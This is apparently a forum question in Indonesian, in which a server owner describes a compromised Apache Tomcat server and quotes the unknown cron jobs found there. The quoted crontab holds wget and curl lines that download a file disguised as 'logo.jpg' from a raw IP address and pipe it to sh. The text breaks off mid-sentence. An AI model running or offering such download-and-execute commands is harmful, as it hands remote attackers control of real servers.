3
Serangan skrip Shell di server Apache, melalui cron yang tidak diketahui asalnya
Saat menjalankan perang proyek di server tomcat Apache saya menemukan bahwa server telah dikompromikan. Saat menjalankan perang melawan orang tak dikenal cronberjalan seperti ini [root@App2 tmp]# crontab -l -u tomcat */11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh */12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh Yang diunduh logo.jpgmemiliki …